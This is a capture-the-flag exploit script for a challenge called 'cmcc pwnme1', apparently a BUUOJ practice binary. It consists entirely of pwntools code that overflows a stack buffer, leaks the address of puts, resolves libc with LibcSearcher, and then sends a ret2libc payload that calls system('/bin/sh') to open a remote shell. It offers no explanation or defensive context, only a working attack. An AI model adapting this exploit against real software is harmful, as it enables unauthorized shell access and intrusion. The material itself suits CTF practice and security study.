cmcc pwnme1

from pwn import *
from LibcSearcher import LibcSearcher
#p = process('./pwnme1')
p = remote("node3.buuoj.cn",29175)
elf = ELF('./pwnme1')
plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
main = elf.symbols["main"]
getfruit_addr = 0x08048624
payload = 0xa4*'a' + p32(main) + p32(plt_puts) +  p32(main)  + p32(got_puts)
p.recvuntil('Exit    \n')
p.sendline('5')
p.recvuntil('fruit:')
p.sendline(payload)
real_puts = u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
libc = LibcSearcher("puts",real_puts)
log.success(hex(real_puts))
libc_base = real_puts - libc.dump("puts")
log.success(hex(libc_base))
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
payload = 0xa4*'a' + p32(main) + p32(system) +  p32(main)  + p32(binsh)
p.recvuntil('Exit    \n')
p.sendline('5')
p.recvuntil('fruit:')
p.sendline(payload)
p.interactive()